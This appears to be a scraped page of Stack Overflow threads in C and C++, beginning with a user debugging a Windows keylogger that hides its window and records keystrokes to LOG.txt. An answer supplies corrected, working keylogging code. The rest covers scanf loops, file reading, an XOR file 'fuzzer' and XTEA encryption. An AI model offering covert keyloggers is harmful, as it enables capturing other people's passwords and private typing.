I've been a visitor of stackoverflow for quite some time and this is my first question on this site :)
I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file.
Here is my main function:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
Save function:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
I see one thing wrong wrong so far, and a couple things I would do differently. First, I don't think I would make it open and close the file every time it writes a single character.
Second (the wrong wrong), is you call fprintf specifying a string %s and giving it a integer pointer &key. An easy fix should be fprintf(OUTPUT_FILE, "%c", (char)key), although much more elegant solutions exist for putting a single character ie putc.
IMHO, you have one major problem in this code : you use i as a loop index, and change its value in the loop.
The other problem is that your Save function is plain wrong.
On my own box, the following code displays correctly the pressed keys, and logs them to file LOG.txt :
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
Of course, I have to press Ctrl-C or Ctrl-Break to stop the program, and non alphanumeric keys show weird symbols ...
But when I enter ABCDEFGH012345678 and then Ctrl-C (not using keypad for numbers), I get as expected in LOG.txt :
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)
Last character represented is the Ctrl that is here a dot . but in reality is a square ...
Related
I've a small C-program which just reads numbers from stdin, one at each loop cycle. If the user inputs some NaN, an error should be printed to the console and the input prompt should return again. On input of "0", the loop should end and the number of given positive/negative values should be printed to the console. Here's the program:
#include <stdio.h>
int main()
{
int number, p = 0, n = 0;
while (1) {
printf("-> ");
if (scanf("%d", &number) == 0) {
printf("Err...\n");
continue;
}
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
My problem is, that on entering some non-number (like "a"), this results in an infinite loop writing "-> Err..." over and over. I guess it's a scanf() issue and I know this function could be replace by a safer one, but this example is for beginners, knowing just about printf/scanf, if-else and loops.
I've already read the answers to the questionscanf() skips every other while loop in C and skimmed through other questions, but nothing really answer this specific problem.
scanf consumes only the input that matches the format string, returning the number of characters consumed. Any character that doesn't match the format string causes it to stop scanning and leaves the invalid character still in the buffer. As others said, you still need to flush the invalid character out of the buffer before you proceed. This is a pretty dirty fix, but it will remove the offending characters from the output.
char c = '0';
if (scanf("%d", &number) == 0) {
printf("Err. . .\n");
do {
c = getchar();
}
while (!isdigit(c));
ungetc(c, stdin);
//consume non-numeric chars from buffer
}
edit: fixed the code to remove all non-numeric chars in one go. Won't print out multiple "Errs" for each non-numeric char anymore.
Here is a pretty good overview of scanf.
scanf() leaves the "a" still in the input buffer for next time. You should probably use getline() to read a line no matter what and then parse it with strtol() or similar instead.
(Yes, getline() is GNU-specific, not POSIX. So what? The question is tagged "gcc" and "linux". getline() is also the only sensible option to read a line of text unless you want to do it all by hand.)
I think you just have to flush the buffer before you continue with the loop. Something like that would probably do the job, although I can't test what I am writing from here:
int c;
while((c = getchar()) != '\n' && c != EOF);
Due to the problems with scanf pointed out by the other answers, you should really consider using another approach. I've always found scanf way too limited for any serious input reading and processing. It's a better idea to just read whole lines in with fgets and then working on them with functions like strtok and strtol (which BTW will correctly parse integers and tell you exactly where the invalid characters begin).
Rather than using scanf() and have to deal with the buffer having invalid character, use fgets() and sscanf().
/* ... */
printf("0 to quit -> ");
fflush(stdout);
while (fgets(buf, sizeof buf, stdin)) {
if (sscanf(buf, "%d", &number) != 1) {
fprintf(stderr, "Err...\n");
} else {
work(number);
}
printf("0 to quit -> ");
fflush(stdout);
}
/* ... */
I had similar problem. I solved by only using scanf.
Input "abc123<Enter>" to see how it works.
#include <stdio.h>
int n, num_ok;
char c;
main() {
while (1) {
printf("Input Number: ");
num_ok = scanf("%d", &n);
if (num_ok != 1) {
scanf("%c", &c);
printf("That wasn't a number: %c\n", c);
} else {
printf("The number is: %d\n", n);
}
}
}
On some platforms (especially Windows and Linux) you can use fflush(stdin);:
#include <stdio.h>
int main(void)
{
int number, p = 0, n = 0;
while (1) {
printf("-> ");
if (scanf("%d", &number) == 0) {
fflush(stdin);
printf("Err...\n");
continue;
}
fflush(stdin);
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
The Solution: You need to add fflush(stdin); when 0 is returned from scanf.
The Reason: It appears to be leaving the input char in the buffer when an error is encountered, so every time scanf is called it just keeps trying to handle the invalid character but never removing it form the buffer. When you call fflush, the input buffer(stdin) will be cleared so the invalid character will no longer be handled repeatably.
You Program Modified: Below is your program modified with the needed change.
#include <stdio.h>
int main()
{
int number, p = 0, n = 0;
while (1) {
printf("-> ");
if (scanf("%d", &number) == 0) {
fflush(stdin);
printf("Err...\n");
continue;
}
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
try using this:
if (scanf("%d", &number) == 0) {
printf("Err...\n");
break;
}
this worked fine for me... try this..
the continue statement is not appropiate as the Err.. should only execute once. so, try break which I tested... this worked fine for you.. i tested....
When a non-number is entered an error occurs and the non-number is still kept in the input buffer. You should skip it. Also even this combination of symbols as for example 1a will be read at first as number 1 I think you should also skip such input.
The program can look the following way.
#include <stdio.h>
#include <ctype.h>
int main(void)
{
int p = 0, n = 0;
while (1)
{
char c;
int number;
int success;
printf("-> ");
success = scanf("%d%c", &number, &c);
if ( success != EOF )
{
success = success == 2 && isspace( ( unsigned char )c );
}
if ( ( success == EOF ) || ( success && number == 0 ) ) break;
if ( !success )
{
scanf("%*[^ \t\n]");
clearerr(stdin);
}
else if ( number > 0 )
{
++p;
}
else if ( number < n )
{
++n;
}
}
printf( "\nRead %d positive and %d negative numbers\n", p, n );
return 0;
}
The program output might look like
-> 1
-> -1
-> 2
-> -2
-> 0a
-> -0a
-> a0
-> -a0
-> 3
-> -3
-> 0
Read 3 positive and 3 negative numbers
I had the same problem, and I found a somewhat hacky solution. I use fgets() to read the input and then feed that to sscanf(). This is not a bad fix for the infinite loop problem, and with a simple for loop I tell C to search for any none numeric character. The code below won't allow inputs like 123abc.
#include <stdio.h>
#include <ctype.h>
#include <string.h>
int main(int argc, const char * argv[]) {
char line[10];
int loop, arrayLength, number, nan;
arrayLength = sizeof(line) / sizeof(char);
do {
nan = 0;
printf("Please enter a number:\n");
fgets(line, arrayLength, stdin);
for(loop = 0; loop < arrayLength; loop++) { // search for any none numeric charcter inisde the line array
if(line[loop] == '\n') { // stop the search if there is a carrage return
break;
}
if((line[0] == '-' || line[0] == '+') && loop == 0) { // Exculude the sign charcters infront of numbers so the program can accept both negative and positive numbers
continue;
}
if(!isdigit(line[loop])) { // if there is a none numeric character then add one to nan and break the loop
nan++;
break;
}
}
} while(nan || strlen(line) == 1); // check if there is any NaN or the user has just hit enter
sscanf(line, "%d", &number);
printf("You enterd number %d\n", number);
return 0;
}
To solve partilly your problem I just add this line after the scanf:
fgetc(stdin); /* to delete '\n' character */
Below, your code with the line:
#include <stdio.h>
int main()
{
int number, p = 0, n = 0;
while (1) {
printf("-> ");
if (scanf("%d", &number) == 0) {
fgetc(stdin); /* to delete '\n' character */
printf("Err...\n");
continue;
}
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
But if you enter more than one character, the program continues one by one character until the "\n".
So I found a solution here: How to limit input length with scanf
You can use this line:
int c;
while ((c = fgetc(stdin)) != '\n' && c != EOF);
// all you need is to clear the buffer!
#include <stdio.h>
int main()
{
int number, p = 0, n = 0;
char clearBuf[256]; //JG:
while (1) {
printf("-> ");
if (scanf("%d", &number) == 0) {
fgets(stdin, 256, clearBuf); //JG:
printf("Err...\n");
continue;
}
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
Flush the input buffer before you scan:
while(getchar() != EOF) continue;
if (scanf("%d", &number) == 0) {
...
I was going to suggest fflush(stdin), but apparently that results in undefined behavior.
In response to your comment, if you'd like the prompt to show up, you have to flush the output buffer. By default, that only happens when you print a newline. Like:
while (1) {
printf("-> ");
fflush(stdout);
while(getchar() != EOF) continue;
if (scanf("%d", &number) == 0) {
...
Hi I know this is an old thread but I just finished a school assignment where I ran into this same problem.
My solution is that I used gets() to pick up what scanf() left behind.
Here is OP code slightly re-written; probably no use to him but perhaps it will help someone else out there.
#include <stdio.h>
int main()
{
int number, p = 0, n = 0;
char unwantedCharacters[40]; //created array to catch unwanted input
unwantedCharacters[0] = 0; //initialzed first byte of array to zero
while (1)
{
printf("-> ");
scanf("%d", &number);
gets(unwantedCharacters); //collect what scanf() wouldn't from the input stream
if (unwantedCharacters[0] == 0) //if unwantedCharacters array is empty (the user's input is valid)
{
if (number > 0) p++;
else if (number < 0) n++;
else break; /* 0 given */
}
else
printf("Err...\n");
}
printf("Read %d positive and %d negative numbers\n", p, n);
return 0;
}
I've recently been through the same problem, and I found a solution that might help a lot of people. The function "scanf" leaves a buffer in memory ... and that's why the infinite loop is caused. So you actually have to "store" this buffer to another variable IF your initial scanf contains the "null" value. Here's what I mean:
#include <stdio.h>
int n;
char c[5];
int main() {
while (1) {
printf("Input Number: ");
if (scanf("%d", &n)==0) { //if you type char scanf gets null value
scanf("%s", &c); //the abovementioned char stored in 'c'
printf("That wasn't a number: %s\n", c);
}
else printf("The number is: %d\n", n);
}
}
I am trying to read this input as characters into memory in c in a 2 dimensional array.
00P015
00P116
030000
06P0ZZ
030005
06P1ZZ
04P0ZZ
26P1ZZ
3412ZZ
030010
06P0ZZ
99ZZZZ
030010
06P1ZZ
99ZZZZ
ZZ0000
ZZ0010
My code is
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int pr;
int value;
/*These are variables representing the VM itself*/
char IR[6] ;
short int PC = 0 ;
int P0 ; //these are the pointer registers
int P1 ;
int P2 ;
int P3 ;
int R0 ; //GP regs
int R1 ;
int R2 ;
int R3 ;
int ACC ;
char PSW[2];
char memory [100][6] ; //this is the program memory for first program
short int opcode ; //nice to know what we are doing
int program_line = 0 ;
int fp ;
int i ;
int q = -1; //Used to iterate through memory to execute program
int TrueFalse; //True / False value for check statements, 1 implies true, 0 implies false
int halt = 0;
int address;
char input_line [7] ;
main(int argc, char *argv[])
{ //Read file into VM
fp = open("C:\\Users\\Whiskey Golf\\ClionProjects\\untitled\\program.txt", O_RDONLY) ;
printf("Open is %d\n", fp) ; //always check the return value.
if (fp < 0) //error in read
{printf("Could not open file\n");
exit(0) ;
}
//read in the first line of the program
int charRead = read (fp, input_line, 8 ) ; //returns number of characters read`
printf("\n*******************************\n");
printf("* Reading Program Into Memory *\n");
printf("*******************************\n");
while (1)
{ if (charRead <= 0) //indicates end of file or error
break ; //breaks out of infinite loop
for (i = 0; i < 6 ; i++) //If we get here must have correctly read in a line of program code.
memory[program_line][i] = input_line[i] ; //copy from input line into program memory
printf("Program Line %d: ", program_line) ; //printing out program line for debugging purposes
for(i = 0; i < 6; i++)
printf("%c", memory[program_line][i]) ;
printf("\n") ;
opcode = (memory[program_line][0] -48) *10 ; //Get opcode, print out opcode to console
opcode += (memory[program_line][1] -48) ;
printf("Opcode is %d\n", opcode) ;
charRead = read (fp, input_line, 8) ; //read in next line of code
if(input_line[0] == 'Z') //if the firat character is a 'Z' then you are reading data.
break ; //No more program code so break out of loop
program_line++ ; //now at a new line in the prog
printf("%n");
}
The issue I am having is that when I run the program in the IDE I wrote it in, Clion, my output is correct, I get
Program Line 0: 00P015
Opcode is 0
Program Line 1: 00P116
Opcode is 0
Program Line 2: 030000
Opcode is 3
Program Line 3: 06P0ZZ
Opcode is 6
But when I run the code via a shell via gcc compilation then ./a.out execution, the output I get is
Program Line 0: 00P015
Opcode is 0
Program Line 1: 16
Opcode is -528
Program Line 2: 00
Opcode is -528
Program Line 3: ZZ
Opcode is-528
I have been trying to debug this issue for a while now, and I can not get it to work correctly when I do it through the shell, which is the way I need to do it. Any help would be greatly appreciated.
You are reading 8 bytes which takes the end of line character '\n' and tries to store it in a 7 bytes array.
read (fp, input_line, 8)
this leads to undefined behavrio, and it should be
read(fp, input_line, 7)
And then you could just discard the next byte like
char discard;
read(fp, &discard, 1);
I suppose you was reading 8 bytes to consume the end of line character, so you could have increased the array size to 8 and ignore the last character or simply read it and discard it.
EDIT: Looking closely at the data and your code, I found out that I don't understand what you try to do, you must read just 7 characters, that will include the trailing '\n', the following code will work if and only if there is always a new line '\n' after each line, otherwise it will skip the last line, you should think of the obvious solution yourself. Also, see this comment, if you write the program with a text editor on MS Windows, you will have trouble. To solve that you can just use fopen() instead of low level I/O.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int
main(void)
{
int file;
ssize_t length;
char buffer[7];
file = open("program.txt", O_RDONLY);
if (file == -1)
return -1;
while ((length = read(file, buffer, sizeof(buffer))) == 0)
{
int opcode;
/* You will need to overwrite the '\n' for the printf() to work
* but you can skip this if you don't want to print the command
*/
buffer[length - 1] = '\0';
opcode = 10 * (buffer[0] - '0') + buffer[1] - '0';
fprintf(stderr, "Command: `%s'\n\topcode: %d\n", buffer, opcode);
}
close(file);
return 0;
}
char input_line [7] ;
int charRead = read (fp, input_line, 8 ) ;
Reads 8 bytes into a 7 byte array, which is bad. It just wrote over some memory after the array, but since the array is 7 bytes and most data is aligned on 4 or 8 byte values, you probably get away with it by not reading data over anything important.
But!!! Here is your data:
00P015<EOL>
00P116<EOL>
030000<EOL>
06P0ZZ<EOL>
030005<EOL>
...
On a Unix-based system where the end of line is one byte, reading 8 bytes will read
00P015<EOL>0
And the next eight bytes will read
0P116<EOL>03
etcetera... So here is your data on drugs:
00P015<EOL>0
0P116<EOL>03
0000<EOL>06P
0ZZ<EOL>0300
05<EOL>...
See what happens? Not what you need or want.
How this could work in the IDE, smurfed if I know, unless the input file is actually a windows text file (two byte end of line mark), but it's playing with fire. I'm going to stick with C and pitch fscanf as an alternative to read. I also stripped out all of the stuff not essential to this example.
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
(void) argc; // I'm being pedantic. As pointed out below in the comments, this
// is not needed. Main needs no arguments. I just like them.
(void) argv;
//Read file into VM
// moved all variables into function
char memory [100][6] ; //This is likely program death if you read more than 100
// lines from the file. There are no guards to prevent this
// in the original code.
int opcode ;
int program_line = 0 ;
FILE* fp ; //using a C FILE handle rather than a posix handle for maximum portability
char input_line [8] ;// death if a line is poorly formatted and has extra characters,
// but in this case, the whole program falls apart.
// Went with 8 in case the input file was formatted for Windows.
fp = fopen("asd.txt", "r") ; // using c standard library file open
if (fp == NULL)
{
printf("Could not open file\n");
return 0 ;
}
int itemsRead = fscanf(fp, "%s\n", input_line) ;
//fscanf is a much more tractable reader. This will read one string of characters
// up to the end of line. It will easily and happily run past the end of input_line
// if the line is poorly formatted
// handles a variety of EOL types. and returns the number of the requested
// items read. In this case, one item.
printf("\n*******************************\n");
printf("* Reading Program Into Memory *\n");
printf("*******************************\n");
while (itemsRead == 1 && input_line[0] != 'Z' && program_line < 100)
{ // much better place for the exit conditions. Also added test to prevent
// overrunning memory
for (int i = 0; i < 6 ; i++)
{
memory[program_line][i] = input_line[i] ;
} // this can also be performed with memcpy
printf("Program Line %d: ", program_line) ;
for(int i = 0; i < 6; i++)
{
printf("%c", memory[program_line][i]) ;
} // if we were using properly terminated c-style strings, and we are not,
// this loop and the following printf("\n") could be replaced with
// printf("%s\n", memory[program_line]). As it is putc would be a more
// efficient option
printf("\n") ;
opcode = (memory[program_line][0] -'0') *10 ; // '0' much easier to read than 48
opcode += memory[program_line][1] -'0' ;
printf("Opcode is %d\n", opcode) ;
charRead = fscanf(fp, "%s\n", input_line) ;
program_line++ ;
printf("\n"); // fixed typo
}
}
And in C++, this sucker is trivial
#include <iostream>
#include <fstream>
#include <vector>
int main(int argc, char *argv[])
{
(void) argc; // I'm still being pedantic.
(void) argv;
//Read file into VM
std::vector<std::string> memory;
int opcode;
std::ifstream in("asd.txt");
std::cout << "\n*******************************\n"
<< "* Reading Program Into Memory *\n"
<< "*******************************\n";
std::string input_line;
while (std::getline(in, input_line) && input_line[0] != 'Z')
{
memory.push_back(input_line);
std::cout << input_line << std::endl;
opcode = (input_line[0] - '0') * 10 + input_line[1] - '0';
std::cout << "Opcode is " << opcode << std::endl << std::endl;
}
}
A note on being pedantic. There is this wonderful compiler option called -pedantic It instructs the compiler to do some fairly anally retentive error checking. Add it , -Wall, and -Wextra to your command line. Together they will spot a lot of mistakes. And some stuff that isn't mistakes, but you can't win them all.
UPDATE
I solved it with the answer that's marked as valid, but with one slight difference. I open the file using fopen(file, "r+b"), not fopen(file, "r+"). The b opens it in binary mode, and doesn't screw up the file.
I was doing a simple program which I called "fuzzer".
This is my code:
int main(int argc, char* argv[]){
// Here go some checks, such as argc being correct, etc.
// ...
// Read source file
FILE *fSource;
fSource = fopen(argv[1], "r+");
if(fSource == NULL){
cout << "Can't open file!";
return 2;
}
// Loop source file
char b;
int i = 0;
while((b = fgetc(fSource)) != EOF){
b ^= 0x13;
fseek(fSource, i++, SEEK_SET);
fwrite(&b, 1, sizeof(b), fSource);
}
fclose(fSource);
cout << "Fuzzed.";
return 0;
}
However, it doesn't work. Before, I used while(!feof), but it didn't work either, and I saw that it's not correct, so I changed it to (b = fgetc()) != EOF (I suppose it's correct, right?).
When I run it, it gets stuck on an endless loop, and it doesn't modify the original file, but rather appends tildes to it (and the file quickly increases its size, until I stop it). If I change the open mode from "a+" to "r+", it simply deletes the contents of the file (but it at least doesn't get stuck in an endless loop).
Note: I understand that this isn't any kind of obfuscation or encryption. I'm not trying to encode files, just practicing with C++ and files.
This code worked for me when tested on an Ubuntu 12.04 derivative with GCC 4.9.0:
#include <iostream>
#include <stdio.h>
using namespace std;
int main(int argc, char* argv[])
{
if (argc != 2)
{
cerr << "Usage: " << argv[0] << " file\n";
return 1;
}
FILE *fSource = fopen(argv[1], "r+");
if (fSource == NULL)
{
cerr << "Can't open file: " << argv[1] << "\n";
return 2;
}
int c;
int i = 0;
while ((c = fgetc(fSource)) != EOF)
{
char b = c ^ 0x13;
fseek(fSource, i++, SEEK_SET);
fwrite(&b, 1, sizeof(b), fSource);
fseek(fSource, i, SEEK_SET);
}
fclose(fSource);
cout << "Fuzzed: " << argv[1] << "\n";
return 0;
}
It reports file names; it reports errors to standard error (cerr); it uses int c; to read the character, but copies that to char b so that the fwrite() works. When run on (a copy of) its own source code, the first time the output looks like gibberish, and the second time recovers the original.
This loop, using fputc() instead of fwrite(), also works without needing the intermediate variable b:
while ((c = fgetc(fSource)) != EOF)
{
fseek(fSource, i++, SEEK_SET);
fputc(c ^ 0x13, fSource);
fseek(fSource, i, SEEK_SET);
}
The use of an fseek() after the read and after the write is mandated by the C standard. I'm not sure whether that's the main cause of your trouble, but it could in theory be one of the issues.
You need int b;. A char can never be EOF. The manual describes all this. All in all, something like this:
for (int b, i = 0; (b = fgetc(fSource)) != EOF; ++i)
{
unsigned char x = b;
x ^= 0x13;
fseek(fSource, i, SEEK_SET);
fwrite(&x, 1, 1, fSource);
fseek(fSource, i + 1, SEEK_SET);
}
You should also open the file with mode "rb+", and seek between each read and write (thanks #Jonathan Leffler).
I'm making a enciphering/deciphering program using XTEA algorithm. The encipher/decipher functions work fine, but when I encipher a file and then decipher it, I get some extra characters in the end of the file:
--- Original file ---
QwertY
--- Encrypted file ---
»¦æŸS#±
--- Deciphered from encrypted ---
QwertY ß*tÞÇ
I have no idea why the " ß*tÞÇ" appears in the end.
I will post some of my code, but not all of it since it would be too long. The encipher/decipher function takes 64 bits data and 128 bits key, and encipher/decipher the data to the same block size, which is again 64 bits (similar functions here). It can then be written to a new file.
long data[2]; // 64bits
ZeroMemory(data, sizeof(long)*2);
char password[16];
ZeroMemory(password, sizeof(char)*16);
long *key;
if(argc > 1)
{
string originalpath = argv[1];
string finalpath;
string eextension = "XTEA";
string extension = GetFileExtension(originalpath);
bool encipherfile = 1;
if(extension.compare(eextension) == 0) // If extensions are equal, dont encipher file
{
encipherfile = 0;
finalpath = originalpath;
finalpath.erase(finalpath.length()-5, finalpath.length());
}
ifstream in(originalpath, ios::binary);
ofstream out(finalpath, ios::binary);
cout << "Password:" << endl;
cin.get(password,sizeof(password));
key = reinterpret_cast<long *>(password);
while(!in.eof())
{
ZeroMemory(data, sizeof(long)*2);
in.read(reinterpret_cast<char*>(&data), sizeof(long)*2); // Read 64bits from file
if(encipherfile == 1)
{
encipher(data, key);
out.write(reinterpret_cast<char*>(&data), sizeof(data));
continue;
}
if(encipherfile == 0)
{
decipher(data, key);
out.write(reinterpret_cast<char*>(&data), sizeof(data));
}
}
Check for eof immediately after your read, and if you get eof break out of the loop.
If you may have partial reads (i.e. it is possible to read fewer than all of the requested bytes), then you need also to call gcount to find out how many bytes you actually read, thus:
cin.read( ... )
if( cin.eof() )
{
streamsize bytesRead = cin.gcount();
if( bytesRead > 0 )
// process those bytes
break;
}
I am currently doing some testing with a new addition to the ICU dictionary-based break iterator.
I have code that allows me to test the word-breaking on a text document but when the text document is too large it gives the error: bash: ./a.out: Argument list too long
I am not sure how to edit the code to break-up the argument list when it gets too long so that a file of any size can be run through the code. The original code author is quite busy, would someone be willing to help out?
I tried removing the printing of what is being examined to see if that would help, but I still get the error on large files (printing what is being examined isn't necessary - I just need the result).
If the code could be modified to read the source text file line by line and export the results line by line to another text file (ending up with all the lines when it is done), that would be perfect.
The code is as follows:
/*
Written by George Rhoten to test how word segmentation works.
Code inspired by the break ICU sample.
Here is an example to run this code under Cygwin.
PATH=$PATH:icu-test/source/lib ./a.exe "`cat input.txt`" > output.txt
Encode input.txt as UTF-8.
The output text is UTF-8.
*/
#include <stdio.h>
#include <unicode/brkiter.h>
#include <unicode/ucnv.h>
#define ZW_SPACE "\xE2\x80\x8B"
void printUnicodeString(const UnicodeString &s) {
int32_t len = s.length() * U8_MAX_LENGTH + 1;
char *charBuf = new char[len];
len = s.extract(0, s.length(), charBuf, len, NULL);
charBuf[len] = 0;
printf("%s", charBuf);
delete charBuf;
}
/* Creating and using text boundaries */
int main(int argc, char **argv)
{
ucnv_setDefaultName("UTF-8");
UnicodeString stringToExamine("Aaa bbb ccc. Ddd eee fff.");
printf("Examining: ");
if (argc > 1) {
// Override the default charset.
stringToExamine = UnicodeString(argv[1]);
if (stringToExamine.charAt(0) == 0xFEFF) {
// Remove the BOM
stringToExamine = UnicodeString(stringToExamine, 1);
}
}
printUnicodeString(stringToExamine);
puts("");
//print each sentence in forward and reverse order
UErrorCode status = U_ZERO_ERROR;
BreakIterator* boundary = BreakIterator::createWordInstance(NULL, status);
if (U_FAILURE(status)) {
printf("Failed to create sentence break iterator. status = %s",
u_errorName(status));
exit(1);
}
printf("Result: ");
//print each word in order
boundary->setText(stringToExamine);
int32_t start = boundary->first();
int32_t end = boundary->next();
while (end != BreakIterator::DONE) {
if (start != 0) {
printf(ZW_SPACE);
}
printUnicodeString(UnicodeString(stringToExamine, start, end-start));
start = end;
end = boundary->next();
}
delete boundary;
return 0;
}
Thanks so much!
-Nathan
The Argument list too long error message is coming from the bash shell and is happening before your code even gets started executing.
The only code you can fix to eliminate this problem is the bash source code (or maybe it is in the kernel) and then, you're always going to run into a limit. If you increase from 2048 files on command line to 10,000, then some day you'll need to process 10,001 files ;-)
There are numerous solutions to managing 'too big' argument lists.
The standardized solution is the xargs utility.
find / -print | xargs echo
is a un-helpful, but working example.
See How to use "xargs" properly when argument list is too long for more info.
Even xargs has problems, because file names can contain spaces, new-line chars, and other unfriendly stuff.
I hope this helps.
The code below reads the content of a file whos name is given as the first parameter on the command-line and places it in a str::buffer. Then, instead of calling the function UnicodeString with argv[1], use that buffer instead.
#include<iostream>
#include<fstream>
using namespace std;
int main(int argc, char **argv)
{
std::string buffer;
if(argc > 1) {
std::ifstream t;
t.open(argv[1]);
std::string line;
while(t){
std::getline(t, line);
buffer += line + '\n';
}
}
cout << buffer;
return 0;
}
Update:
Input to UnicodeString should be char*. The function GetFileIntoCharPointer does that.
Note that only the most rudimentary error checking is implemented below!
#include<iostream>
#include<fstream>
using namespace std;
char * GetFileIntoCharPointer(char *pFile, long &lRet)
{
FILE * fp = fopen(pFile,"rb");
if (fp == NULL) return 0;
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
fseek(fp, 0, SEEK_SET);
char *pData = new char[size + 1];
lRet = fread(pData, sizeof(char), size, fp);
fclose(fp);
return pData;
}
int main(int argc, char **argv)
{
long Len;
char * Data = GetFileIntoCharPointer(argv[1], Len);
std::cout << Data << std::endl;
if (Data != NULL)
delete [] Data;
return 0;
}